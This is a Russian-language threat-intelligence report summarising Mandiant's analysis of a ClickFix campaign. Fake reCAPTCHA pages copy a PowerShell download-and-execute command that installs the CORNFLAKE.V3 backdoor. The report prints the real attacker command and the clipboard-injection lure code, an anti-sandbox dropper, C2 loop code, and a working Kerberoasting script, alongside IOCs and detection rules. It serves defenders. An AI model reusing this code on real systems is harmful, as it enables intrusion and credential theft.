Под видом reCAPTCHA новый ClickFix загоняет PowerShell-команды прямо в буфер обмена.
Mandiant Threat Defense выпустила свежий выпуск серии Frontline Bulletin, где разобран сквозной инцидент с участием двух группировок — UNC5518 и UNC5774 . Первая компрометирует легитимные сайты и подменяет страницы проверок CAPTCHA на «ClickFix»-ловушки, вынуждая посетителей запускать команды в Windows Run. Вторая использует полученный таким образом доступ и развёртывает многофункциональную вредоносную программу CORNFLAKE.V3. Зафиксированы также эпизоды участия кластера UNC4108, применявшего PowerShell, VOLTMARKER и NetSupport RAT для разведки.
Семейство CORNFLAKE эволюционировало от простого загрузчика на C до бэкдора на JavaScript/PHP, общающегося с сервером управления (C2) по HTTP с XOR-кодированием трафика, поддерживающего закрепление и расширенный набор «полезных нагрузок» (команд/файлов).
Малварь | Язык | Тип | Связь с C2 | Поддерживаемые нагрузки | Закрепление |
---|---|---|---|---|---|
CORNFLAKE (первая версия) | C | Загрузчик | TCP-сокет (XOR) | DLL | Нет |
CORNFLAKE.V2 | JavaScript | Загрузчик | HTTP (XOR) | DLL, EXE, JS, BAT | Нет |
CORNFLAKE.V3 | JS или PHP | Бэкдор | HTTP (XOR); замечено проксирование через Cloudflare Tunnels | DLL, EXE, JS, BAT, PS | Да (Run-ключ реестра) |
Начальная зацепка расследования: на одном из хостов был выполнен PowerShell через окно «Выполнить» (Windows+R). След сохранился в реестре по пути HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
:
Name: a Value: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
Подобные команды характерны для «ClickFix»: пользователь попадает на страницу (часто через SEO-подмену результатов поиска или рекламу) и кликает по «капче», после чего скрипт незаметно копирует команду в буфер обмена и просит вставить её в окно Run.
Пример вредоносной страницы-обманки (клик по картинке — копирование команды):
// Отображение «капчи» <div class="c" id="j"> <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo"> <span>I'm not a robot</span> </div> // Сама команда PowerShell — в переменной _0xC var _0xC = "powershell -w h -c \"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex\""; // Копирование в буфер по клику document.getElementById("j").onclick = function(){ var ta = document.createElement("textarea"); ta.value = _0xC; document.body.appendChild(ta); ta.select(); document.execCommand("copy"); }
PowerShell делает HTTP-запрос вида:
GET /1742214432 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486 Host: 138.199.161[.]141:8080 Connection: Keep-Alive
Далее отрабатывает PowerShell-дроппер с проверками на песочницу/VM и загрузкой Node.js . Ниже приводится укороченный образец (по смыслу — аналогичный скрипту по пути /1742214432
), где видно детект QEMU, пороги по памяти, шаблон имени, скачивание Node.js, декодирование встроенного CORNFLAKE.V3 и запуск через node.exe -e
:
# Выход, если QEMU $Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer if ($Manufacturer -eq "QEMU") { exit 0 } # Порог по памяти $TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB $AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB $UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 } # Шаблон имени if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 } sleep 1 # Скачивание Node.js и распаковка в %APPDATA% $ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip" $DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "") $ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip") iwr -Uri $ZipURL -OutFile $ZipFile try { $Shell = New-Object -ComObject Shell.Application $ZIP = $Shell.NameSpace($ZipFile) $Destination = $Shell.NameSpace($DestinationFolder) $Destination.CopyHere($ZIP.Items(), 20) } catch { exit 0 } $DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64") # Встроенный Base64-блоб с CORNFLAKE.V3 (Node.js) $BASE64STRING = <Base-64 encoded CORNFLAKE.V3 sample> $BINARYDATA = [Convert]::FromBase64String($BASE64STRING) $StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA) # Запуск node.exe с -e $Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe") start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle Hidden
На сети наблюдался DNS-запрос к nodejs[.]org
и скачивание архива downloaded.zip
(SHA-256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236
) с последующей распаковкой в %APPDATA%\node-v22.11.0-win-x64\
. Запуск бэкдора происходил командой node.exe -e "<JS-код CORNFLAKE.V3>"
.
Процессное дерево выглядело так:
explorer.exe ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "<Run-строка>" ↳ %APPDATA%\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}" ↳ powershell.exe -c "{Initial check and System Information Collection}" ↳ ARP.EXE -a ↳ chcp.com 65001 ↳ systeminfo.exe ↳ tasklist.exe /svc ↳ cmd.exe /d /s /c "wmic process where processid=<pid> get commandline" ↳ cmd.exe /d /s /c "{Kerberoasting}" ↳ cmd.exe /d /s /c "{AD Recon}" ↳ cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}"
Сэмпл не был обфусцирован, что позволило статический анализ. На старте выполняется проверка аргументов, чтобы гарантировать одиночный экземпляр (форк в дочерний процесс с дополнительным аргументом «1», родитель завершается):
if (process.argv[1] !== undefined && process.argv[2] === undefined) { const child = spawn(process.argv[0], [process.argv[1], '1'], { detached: true, stdio: 'ignore', windowsHide: true, }); child.unref(); process.exit(0); }
Далее идёт сбор сведений о системе через PowerShell (версия, уровень привилегий, systeminfo
, tasklist /svc
, список служб, дисков, ARP):
let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' + ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { \'Runas: System\' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole ([Security.Principal.WindowsBuiltInRole]::Administrator)) { \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo \'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | Select-Object Name, DisplayName | Format-List ; echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true });
C2-инициализация опирается на списки доменных имён и IP; при неудаче с именем делается попытка по IP, задержки регулируются:
// Хосты C2 const hosts = ['159.69.3[.]151']; const hostsIp = ['159.69.3[.]151']; let useIp = 0; let delay = 1; async function mainloop() { let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; while (true) { await new Promise((r) => setTimeout(r, delay)); try { if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; } else { await main(toIp, PORT_IP); useIp++; if (useIp >= 210) useIp = 0; } } catch (e) { toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; useIp++; delay = 1000 * 10; continue; } delay = 1000 * 60 * 5; } }
Первичный POST уходит на /init1234
с XOR-зашифрованным телом. Ответы интерпретируются так: ooff — завершение процесса; atst — функция закрепления (Run-ключ). При получении иных данных содержимое трактуется как «полезная нагрузка», тип определяется последним байтом.
Код | Тип | Действие |
---|---|---|
0 | EXE |
Сохранение в %APPDATA%\<rand8>\<rand8>.exe и запуск
|
1 | DLL |
Сохранение в %APPDATA%\<rand8>\<rand8>.dll , запуск через rundll32.exe
|
2 | JS |
Исполнение в памяти как аргумент node.exe
|
3 | CMD |
Запуск строки в cmd.exe ; вывод сохраняется и отправляется в C2
|
4 | Прочее |
Запись в %APPDATA%\<rand8>\<rand8>.log
|
Функция atst
формирует Run-ключ HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater
. Командная строка текущего node.exe
извлекается через wmic
: если процесс запущен с -e
, встроенный JS-текст сохраняется в <rand8>.log
в каталоге Node.js, а путь помещается в Run-ключ; если файл запускался напрямую, в Run-ключ попадает его путь.
Разведка домена AD: проверка доменной принадлежности, подсчёт объектов «компьютер»; whoami /all
; nltest /domain_trusts
; nltest /dclist:<domain>
; запрос SPN: setspn -T <UserDomain> -Q */*
с фильтрацией; при отсутствии домена — перечисление локальных групп и их членов.
Kerberoasting : выборка учёток с SPN, запрос TGS и форматирование хэшей для последующего перебора. Ниже — фрагмент PowerShell-скрипта:
$a = 'System.IdentityModel'; $b = [Reflection.Assembly]::LoadWithPartialName($a); $c = New-Object DirectoryServices.DirectorySearcher([ADSI]''); $c.filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $d = $c.Findall(); foreach($e in $d) { $f = $e.GetDirectoryEntry(); $g = $f.samAccountName; if ($g -ne 'krbtgt') { Start-Sleep -Seconds (Get-Random -Minimum 1 -Maximum 11); foreach($h in $f.servicePrincipalName) { $i = $null; try { $i = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $h; } catch {} if ($i -ne $null) { $j = $i.GetRequest(); if ($j) { $k = [System.BitConverter]::ToString($j) -replace '-'; [System.Collections.ArrayList]$l = ($k -replace '^(.*?)04820...(.*)', '$2') -split 'A48201'; $l.RemoveAt($l.Count - 1); $m = $l -join 'A48201'; try { $m = $m.Insert(32, '$'); $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m; Write-Host $n; break; } catch {} } } } } }
Обнаружен новый вариант на PHP: in-memory-скрипт (последствие ClickFix) загружает php.zip
с windows.php[.]net
, распаковывает в C:\Users\<User>\AppData\Roaming\php\
, кладёт сам сэмпл в config.cfg
и запускает:
"C:\\Users<User>\\AppData\\Roaming\\php\\php.exe" -d extension=zip -d extension_dir=ext C:\Users<User>\AppData\Roaming\php\config.cfg 1
Закрепление строится на Run-ключе с произвольным именем (не «ChromeUpdater»). Для связи используется динамический путь, например:
POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1 Host: varying-rentals-calgary-predict.trycloudflare[.]com Connection: close Content-Length: 39185 Content-type: application/octet-stream
Типы нагрузок в PHP-версии частично переопределены; добавлены команды ACTIVE (счётчик активности) и AUTORUN (создание Run-ключа). Расширения .png
/.jpg
используются для маскировки библиотек и JS-скриптов.
Код | Тип | Примечание |
---|---|---|
0 | EXE |
Сохранение в %APPDATA%\<rand8>\<rand8>.exe , запуск скрыто через PowerShell
|
1 | DLL |
Сохранение как .png , запуск через rundll32.exe
|
2 | JS |
Сохранение как .jpg ; при отсутствии Node.js — попытка скачать node-v21.7.3-win-x64.zip с nodejs[.]org
|
3 | CMD |
Исполнение строки через cmd.exe или powershell.exe
|
4 | ACTIVE |
Отправка active_cnt на C2
|
5 | AUTORUN | Создание Run-ключа для автозапуска PHP-скрипта |
6 | OFF |
Завершение работы (exit(0) )
|
— | Прочее |
Сохранение в .txt в %APPDATA%
|
Пример развёртывания в PHP-сценарии завершился получением DLL-нагрузки — бэкдора WINDYTWIST.SEA (файл: C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png
), запущенного через rundll32
. Указаны C2-адреса: tcp://167.235.235[.]151:443
, tcp://128.140.120[.]188:443
, tcp://177.136.225[.]135:443
. Имплант реализован на C, поддерживает реверс-шелл, ретрансляцию TCP и самоудаление; встречались попытки латерального перемещения.
Процессное дерево варианта на PHP:
explorer.exe ↳ powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip; & ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))" ↳ clip.exe ↳ powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ" ↳ systeminfo.exe ↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}" ↳ cmd.exe /s /c "powershell -c {команды разведки хоста}" ↳ cmd.exe /s /c "reg add HKCU\...\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>\" \"<script_path>\"" /f" ↳ rundll32.exe "{WINDYTWIST.SEA}" start
.png
/.jpg
);Артефакт | Описание | SHA-256 |
---|---|---|
%APPDATA%\node-v22.11.0-win-x64\ckw8ua56.log | Копия CORNFLAKE.V3 (Node.js) для автозапуска |
000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b
|
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater | Ключ автозапуска CORNFLAKE.V3 (Node.js) | N/A |
%APPDATA%\php\config.cfg | CORNFLAKE.V3 (PHP) |
a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1
|
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube | Ключ автозапуска CORNFLAKE.V3 (PHP) | N/A |
%APPDATA%\Shift194340\78G0ZrQi.png | WINDYTWIST.SEA (DLL под видом .png) |
14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c
|
Адрес/Домен | Назначение |
---|---|
138.199.161[.]141
|
UNC5518: выдача загрузчиков/скриптов (Node.js-кампания) |
159.69.3[.]151
|
C2 CORNFLAKE.V3 (UNC5774) |
varying-rentals-calgary-predict.trycloudflare[.]com
|
C2 CORNFLAKE.V3 (PHP-вариант; Cloudflare Tunnels) |
dnsmicrosoftds-data[.]com , windows-msg-as[.]live
|
UNC5518: доставка скриптов для PHP-ветки |
167.235.235[.]151 , 128.140.120[.]188 , 177.136.225[.]135
|
WINDYTWIST.SEA C2 |
Mandiant указывает доступность правил в наборе Google SecOps Mandiant Frontline Threats (названия правил, среди прочего): Powershell Executing NodeJS, Powershell Writing To Appdata, Suspicious Clipboard Interaction, NodeJS Reverse Shell Execution, Download to the Windows Public User Directory via PowerShell, Run Utility Spawning Suspicious Process, WSH Startup Folder LNK Creation, Trycloudflare Tunnel Network Connections.
Запуск CORNFLAKE.V3 — Node.js
metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase
Запуск CORNFLAKE.V3 — PHP
metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase target.process.command_line != /\.php\s*\s*/ nocase
Дочерние процессы от node.exe/php.exe в %APPDATA%
metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase
Подозрительные соединения к доменам Node.js/PHP
metadata.event_type = "NETWORK_CONNECTION" principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase target.hostname = /nodejs\.org|windows\.php\.net/ nocase
%APPDATA%
, скачиваний nodejs.org
/windows.php.net
из системных процессов;powershell.exe
/mshta.exe
;Исследование подчёркивает «многоэшелонную» природу современных атак: UNC5518 системно поставляет первичный доступ через веб-ловушки, а UNC5774 использует его для развёртывания бэкдоров, разведки и захвата учётных данных с последующим продвижением по сети. Обновления CORNFLAKE.V3 (маскировка расширений, вариативность команд, прокси через Cloudflare Tunnels) подтверждают непрерывную адаптацию под защитные меры.
Благодарности в оригинальном отчёте: Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis, Rommel Joven.